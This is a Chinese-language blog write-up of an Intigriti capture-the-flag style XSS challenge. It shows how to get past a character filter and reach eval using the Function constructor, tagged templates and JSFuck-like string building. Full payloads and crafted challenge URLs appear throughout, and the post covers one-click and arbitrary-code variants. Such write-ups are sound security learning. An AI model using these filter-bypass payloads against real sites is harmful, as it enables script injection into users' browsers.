Intigriti 是國外的一個 bug bounty 平台,每個月都會推出一個 XSS 挑戰,有大約一到兩週的時間可以去思考,目標是在特定網站上面執行 alert(document.domain)
,解出來之後把結果透過 Intigriti 平台回報,最後會隨機抽 3 個解掉的人得到他們自己商店的優惠券。
上個月的挑戰因為解出來的人不多,所以我有幸運抽到 50 歐元的優惠券,其實很划算,因為商店賣的東西其實都滿便宜的,我買了一件 t-shirt + 兩頂帽子再加國際運費,大概 45 歐元左右。
不過這種獎品就是靠運氣啦,還是解題好玩比較重要。
挑戰網址在這邊: https://challenge-0521.intigriti.io/
程式碼分析
解題的第一步就是分析一下它的程式碼,先了解一下這整個題目的運作為何。首頁這一頁看起來沒什麼東西,比較值得注意的只有一個網址是 ./captcha.php
的 iframe,直接來看看裡面是什麼:
這邊有幾個 input,然後使用者按下送出時會把輸入的 c.value 丟到 eval 去執行,但有限定字元,不能使用: a-df-z<>()!\='"
,在英文字母裡面只有 e 是可以用的。
因此這題的目標就很明顯了,是要繞過這個字元的限制,然後透過那個 eval 幫我們執行 alert(document.domain)
全面啟動
有關繞過字元限制,之前我有寫了一篇: 如何不用英文字母與數字寫出 console.log(1)? ,沒想到這次就派上用場了。
舉例來說, 0/0
可以產生 NaN
,所以 `${0/0}`[1]
就可以拿到字元 a。只要用類似的技巧,應該就可以產生出我們想要的所有字元。
但這題難的地方我覺得不在這,而是一開始在思考這題的時候腦袋容易打結,因為會分不太清楚什麼程式碼會直接被執行,什麼程式碼又不會。
舉例來說,就算費盡千辛萬苦拼出了目標字串好了,丟到 eval 去之後其實結果跟你想像中不太一樣,因為結構大概會像這樣: eval('"a"+"l"+"e"+"r"+"t"+"(1)"')
最後的結果會是字串: alert(1)
,而不是直接執行 alert(1),因為你在做的只是把想執行的程式碼拼出來,而 eval 只是幫你拼起來而已。那如果再把 eval 拼出來呢?
eval('"eval(a"+"l"+"e"+"r"+"t"+"(1))"'
這樣也是沒用的,也只會出現字串的 eval 而已。之所以這樣不行,是因為你拼的東西是字串中的字串。舉例來說,請看下面這兩段程式碼:
eval('alert(1)')
前者會跳出 alert,後者會輸出字串 alert。這就是因為後者是:「字串中的字串」。如果用字串拼接的方式,就一定會這樣。
所以如果需要執行程式碼的話,我們一定要有一些東西是不需要拼接的,在 JS 裡面可以把字串當作程式碼執行的有:
- eval
- function constructor
- setTimeout
- setInterval
- location
這裡面符合我們需求的,就是 function constructor 了!
為什麼這樣說呢?因為我們可以不直接透過字串存取到這個東西!先簡單講一下 function constructor,就是 Function()
這個東西,可以動態產生函式。
然後 Function
就是 Function.prototype.constructor
,所以可以利用 prototype chain 加上陣列來存取到:
[]['constructor']['constructor'] === Function // true
有了這個之後,就可以動態建立 function 並且執行了!
像這樣:[]['constructor']['constructor']('alert(1)')()
那為什麼這樣子放進 eval 之後就可以呢?因為 []
並不是用字串組成的,所以放進 eval 會是這樣: eval("[]['constructor']['constructor']('alert(1)')()")
這樣一來,就可以在 eval 裡面透過 function constructor 去動態執行程式碼了,這就是這個章節的標題「全面啟動」的意思,一層還有一層。
不過除了要找出替代字串以外,還有一個問題,那就是函式呼叫不能使用 ()
,這該怎麼辦呢?
Tagged templates
有用過 React 中的 styled components 的話,對這個語法應該不陌生:
const Box = styled.div`
background: red;
`
其實 styled.div
是一個 function,然後用反引號來呼叫 function。沒錯,反引號也是可以呼叫函式的,但要注意的是參數的傳遞會跟你想的不太一樣。
直接做個簡單示範就知道了:
用反引號來呼叫函式的話,第一個參數會是一個陣列,裡面是所有一般的字串,隔開的標準是中間有 ${}
,而接下來第二個參數以後都是你放在 ${}
裡的內容。
更多範例可參考:[筆記] JavaScript ES6 中的模版字符串(template literals)和標籤模版(tagged template)
把我們上面的程式碼用反引號改寫會變這樣:
[][‘constructor’][‘constructor’]`${‘alert(1)’}```
但這樣的話如果你丟去執行,會發現有錯。因為根據我們上面所說的,這樣寫的話傳去 function constructor 的參數會是:[""], 'alert(1)'
,第一個參數是一個含有空字串的陣列。
而 function constructor 除了最後一個參數之外,其他都會被當作要動態新增的函式的參數,例如說 Function('a', 'b', 'return a+b')
就是:
function (a, b) {
return a+b
}
所以第一個參數給空字串是行不通的,加一個變數就行了,例如說題目允許的 e 或者是 _:
[][‘constructor’][‘constructor’]`_${‘alert(1)’}```
// 產生出的函式
function anonymous(_,) {
alert(1)
}
這樣就能順利執行程式碼了,因此最後剩下的就只有拼出 constructor
跟 alert(document.domain)
了
字串拼拼樂
除了我開頭提到的文章: 如何不用英文字母與數字寫出 console.log(1)?之外, jsfuck 的程式碼也有很多可以參考的地方。
底下是我用的幾個:
1. `${``+{}}` => “[object Object]“
2. `${``[0]}` => “undefined”
3. `${e}` => “[object HTMLProgressElement]“
4. `${0/0}` => “NaN”
我們可以從上面這些組合中,找到所有需要的字元。接下來只差最後兩個了,就是 ()
,我們必須也用拼的拼出這兩個字元才行。
這要怎麼拿到呢?在 JS 裡面把 function 變成字串的話,就會是整個 function 的內容,像這樣:
`${[][‘constructor’]}`
=> “function Array() { [native code] }”
可以透過這樣子拿到這裡面的 ()
這兩個字元。
結合以上的技巧,我自己寫了一個簡單的小程式去產出最終的結果:
output(長度 851):
[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${``+{}}`[6]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${``[0]}`[2]+`${``+{}}`[1]+`${``+{}}`[5]+`${``[0]}`[0]+`${e}`[23]+`e`+`${``[0]}`[1]+`${``+{}}`[6]+`.`+`${``[0]}`[2]+`${``+{}}`[1]+`${e}`[23]+`${0/0}`[1]+`${``[0]}`[5]+`${``[0]}`[1]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}```
把上面這整串貼到網頁上的 input 然後按下提交,就會看到 alert 跳出來囉!
做到這邊之後我就很開心地去送答案,結果得到了一個回覆,跟我說這是 self-XSS,提示我說可以多往 php 那邊去研究一點。
沒錯,我都忘記這是一個 self-XSS 了,因為需要自己把這串 payload 貼在 input 上面送出,就有點像是使用者必須自己把惡意程式碼貼過來一樣,這種通常沒辦法構成具有嚴重性的漏洞。
因此我就往 PHP 那邊去看,隨便試了一下發現 c=xxx
的內容會直接反映在 c.value 上,所以只要把上面那一串放到網址上面去就好了,變成:
這樣子使用者點了網址之後 payload 就會自動填好,只要按按鈕就可以觸發。於是我們把 self-XSS 變成了 one-click XSS,點個按鈕就會中招。
做到這邊其實就通過這題了,但因為還有時間,所以我還想再研究更多東西。
執行任意程式碼
只是執行固定的程式碼不太好玩,有沒有可能執行任意程式碼?像是這種任意程式碼執行通常都會透過幾個方法把程式碼帶進去,例如說:
- window.name
- iframe + top.name
- location.hash
這邊前兩者都需要自己再做另一個網頁,只有 location.hash 不需要,因此這邊就先以這個作法為主吧!
我們需要湊出的字串是:
[][‘constructor’][‘constructor’]`_${‘eval(location.hash.slice(1))’}```
這樣只要讓網址最後面是:#alert(document.domain)
,就可以達成一樣的效果了。
新的字元組合,缺少的只有兩個:v 跟 h。
這兩個其實不太好找,因為比較好找的已經都被我們找完了。那還有哪裡可以找呢?
首先是 v 的部分,其實可以把原生的 function 變成 string,就能拿到 [native code]
這個字串。但是在 Chrome 上與 Firefox 上的輸出不太一樣,以 RegExp 為例,
Chrome 的輸出是: function RegExp() { [native code] }
Firefox 的輸出是: function RegExp() {\n [native code]\n}
Firefox 的輸出會換行而 Chrome 不會,這就造成了字元 index 的差異,所以沒辦法跨瀏覽器取得 v 這個字。不過我們先不管這個,先來看 h 好了。
h 一樣也是不容易取得,但如果我們能組出: 17['toString']`36`
,其實就能拿到 h。
因為上面的程式碼就是把 17 這個數字轉成 36 進位,這樣就可以拿到 h,因為 h 是第 8 個英文字母(9 個數字 + 第 8 個英文字母 = 17)。
那這個大寫的 S 怎麼拿呢?String constructor 可以拿到:
``[‘constructor’] + ‘’
// output
// “function String() { [native code] }”
而且一旦我們可以用 toString 的這個技巧,其實任何小寫英文字母都可以拿到了,當然也包含前面所說的 v。
詳細過程我就不示範了,把程式改一下就好,最後的結果是(1925 個字):
[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`e`+31[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[21]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${e}`[21]+`${``+{}}`[1]+`${``+{}}`[5]+`${0/0}`[1]+`${``+{}}`[6]+`${``[0]}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`.`+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[18]+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`.`+`${e}`[18]+`${e}`[21]+`${``[0]}`[5]+`${``+{}}`[5]+`e`+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+1+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}```
挑戰最短程式碼
可以執行任意程式碼之後,還有什麼可以玩呢?那就是挑戰最短的程式碼!試著把程式碼弄到最短看看。
可以想到的有:
1.不要用 ``[0]
拿到 undefined,而是用 e[0]
,可以省一個字元
2. ``+{}
來拿 [object Object]
其實多此一舉,用 {}
就好,省了三個字
3. 有可以用到 e 的地方盡量用到 e,因為程式碼會最少
再來我們本來是用 []['constructor']
來拿到 function,這樣有點太長了,可以用很科學的方式來找出最短的:
找出來的冠軍是 some
,可以拿來取代本來使用的 []['constructor']
。
最後呢,因為我們不需要執行任意程式碼了,所以用 alert(document.domain)
就好,至於 eval(name)
的話雖然乍看之下更短,但因為要拿到 v 不容易,所以其實會花費更多字元。
底下是產生出來的結果,長度 466 個字:
length: 466
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${e}`[6]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e[0]}`[2]+`${e}`[1]+`${e}`[5]+`${e[0]}`[0]+`${e}`[23]+`e`+`${e}`[25]+`${e}`[6]+`.`+`${e[0]}`[2]+`${e}`[1]+`${e}`[23]+`${0/0}`[1]+`${e[0]}`[5]+`${e}`[25]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}`` `
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=\[\]\[\`${e}\`\[18\]%2b\`${e}\`\[1\]%2b\`${e}\`\[23\]%2b\`e\`\]\[\`${e}\`\[5\]%2b\`${e}\`\[1\]%2b\`${e}\`\[25\]%2b\`${e}\`\[18\]%2b\`${e}\`\[6\]%2b\`${e}\`\[13\]%2b\`${e\[0\]}\`\[0\]%2b\`${e}\`\[5\]%2b\`${e}\`\[6\]%2b\`${e}\`\[1\]%2b\`${e}\`\[13\]\]\`\_${\`${0/0}\`\[1\]%2b\`${e}\`\[21\]%2b\`e\`%2b\`${e}\`\[13\]%2b\`${e}\`\[6\]%2b\`${\[\]\[\`${e}\`\[18\]%2b\`${e}\`\[1\]%2b\`${e}\`\[23\]%2b\`e\`\]}\`\[13\]%2b\`${e\[0\]}\`\[2\]%2b\`${e}\`\[1\]%2b\`${e}\`\[5\]%2b\`${e\[0\]}\`\[0\]%2b\`${e}\`\[23\]%2b\`e\`%2b\`${e}\`\[25\]%2b\`${e}\`\[6\]%2b\`.\`%2b\`${e\[0\]}\`\[2\]%2b\`${e}\`\[1\]%2b\`${e}\`\[23\]%2b\`${0/0}\`\[1\]%2b\`${e\[0\]}\`\[5\]%2b\`${e}\`\[25\]%2b\`${\[\]\[\`${e}\`\[18\]%2b\`${e}\`\[1\]%2b\`${e}\`\[23\]%2b\`e\`\]}\`\[14\]}\`\`\`
再次縮短
把上面的結果拿去平台上 submit 之後,作者說目前看到最短的是 376 個字元。我想了一陣子發現想不太到,然後就靈機一動想說:「那來試試看 v 那個方法好了,先不管瀏覽器問題」
幫大家回顧一下瀏覽器問題是什麼,那問題就是如果想用 function to string 的方式拿到 v,Chrome 跟 Firefox 產生的結果不同:
[][‘some’]+’’
// Chrome
“function some() { [native code] }”
v: index 23
// Firefox
“function some() {
[native code]
}”
v: index 27
所以同一個 payload 無法同時應用在這兩個網頁上面。
先不管這問題的話,產生出來的結果是這樣:
length: 376
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[23]+`${0/0}`[1]+`${e}`[21]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e}`[25]+`${0/0}`[1]+`${e}`[23]+`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}`` `
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=\[\]\[\`${e}\`\[18\]%2b\`${e}\`\[1\]%2b\`${e}\`\[23\]%2b\`e\`\]\[\`${e}\`\[5\]%2b\`${e}\`\[1\]%2b\`${e}\`\[25\]%2b\`${e}\`\[18\]%2b\`${e}\`\[6\]%2b\`${e}\`\[13\]%2b\`${e\[0\]}\`\[0\]%2b\`${e}\`\[5\]%2b\`${e}\`\[6\]%2b\`${e}\`\[1\]%2b\`${e}\`\[13\]\]\`\_${\`e\`%2b\`${\[\]\[\`${e}\`\[18\]%2b\`${e}\`\[1\]%2b\`${e}\`\[23\]%2b\`e\`\]}\`\[23\]%2b\`${0/0}\`\[1\]%2b\`${e}\`\[21\]%2b\`${\[\]\[\`${e}\`\[18\]%2b\`${e}\`\[1\]%2b\`${e}\`\[23\]%2b\`e\`\]}\`\[13\]%2b\`${e}\`\[25\]%2b\`${0/0}\`\[1\]%2b\`${e}\`\[23\]%2b\`e\`%2b\`${\[\]\[\`${e}\`\[18\]%2b\`${e}\`\[1\]%2b\`${e}\`\[23\]%2b\`e\`\]}\`\[14\]}\`\`\`
376 個字,跟剛剛的 466 比起來少了快一百個。
用來產生的完整程式碼:
有些人可能不知道為什麼 eval(name)
可以,這是因為 window.name
是個神奇的屬性,基本上同一個分頁的 name 會相同,所以我們只要自己新建一個 html,裡面寫 JS 並且設定 window.name = 'alert(document.domain)'
,然後用 location=
跳轉到 PHP 那邊,那裡的 name
就會是我們剛剛設定好的。
沒錯,跨網域也適用。
因為我最後試出來的結果也是 376 個字,跟作者說的最短 payload 相同,詢問過後發現其實就是同一個。
結語
從這個挑戰中可以學到一些 JS 相關的東西,像是:
- 在限制之下湊出指定字元
- 用反引號 backtick 來呼叫函式以及參數的規則
- 用 function constructor 動態建立函式
這些知識在什麼時候會有用呢?對攻擊者而言,當你碰到一個有過濾字元的地方的時候,就可以利用這些技巧想辦法繞過限制。
對防禦方來說,在過濾時就需要考量到這些繞過的方法,如果知道可以這樣繞過,就能把 filter 訂得更精確。
不過這都只是後話,對我來說會解這些題目只是因為好玩,也沒有去想說會有什麼幫助,那些都是以後的事了。
這個平台每個月都會有 XSS 挑戰,期待之後的更多挑戰!